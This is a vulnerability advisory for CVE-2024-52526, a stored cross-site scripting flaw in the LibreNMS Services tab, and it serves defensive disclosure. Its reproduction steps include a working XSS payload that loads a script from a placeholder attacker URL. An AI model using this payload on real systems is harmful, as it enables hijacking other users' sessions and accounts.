---
title: "CVE-2024-52526"
date: "2024-11-14T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/"
---

# CVE-2024-52526

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Nov 5, 2024

CVE-2024-52526  **Published:** Nov 14, 2024

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')  7.5 High Severity librenms Stored-XSS XSS

RS Raphael Silva  Reported by Checkmarx Zero

Details Overview

## Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the “Services” tab of the Device page of the `@LibreNMS/LibreNMS` project allows authenticated users to inject arbitrary JavaScript through the `descr` parameter when adding a service to a device.

## Product

This vulnerability affects LibreNMS versions prior to 24.10.0, specifically in `librenms/includes/html/pages/device/services.inc.php`.

## Impact

This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.

## Steps to reproduce

1. Log into the LibreNMS web interface.
2. Create or edit a device and go to the **Services** section.
3. In the **Description** (`descr`) field, enter the following payload:

    `Descr'"><script/src=//<attacker-url>></script>`
4. Save the service.
5. Navigate to the **Services** tab for that device.
6. Observe that the script hosted at `<attacker-url>` is loaded and executed in your browser.

### Expected result:

The script referenced in the payload (`//<attacker-url>`) executes in the Services tab, demonstrating arbitrary JavaScript execution in the victim’s session.

## Remediation

Fixed in LibreNMS 24.10.0 by sanitizing and HTML-encoding the `descr` parameter in `device/services.inc.php`, preventing unsanitized input from being rendered.

## Credit

This issue was discovered and reported by Checkmarx Security Researcher [Raphael Silva](https://www.linkedin.com/in/raphaelcssilva/).

## Resources

1. [GHSA-8fh4-942r-jf2g](https://github.com/advisories/GHSA-8fh4-942r-jf2g)
2. [Fix commit](https://github.com/librenms/librenms/commit/30e522c)
3. [NVD entry for CVE-2024-52526](https://nvd.nist.gov/vuln/detail/CVE-2024-52526)

0  High Severity CVSS v3.1 Score

   7.5

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: High
- Integrity Impact: Low
- Availability Impact: Low

Advisory Timeline1. Discovered Oct 9, 2024
2. Disclosed Oct 10, 2024
3. Fixed Nov 5, 2024 Patched in LibreNMS 24.10.0

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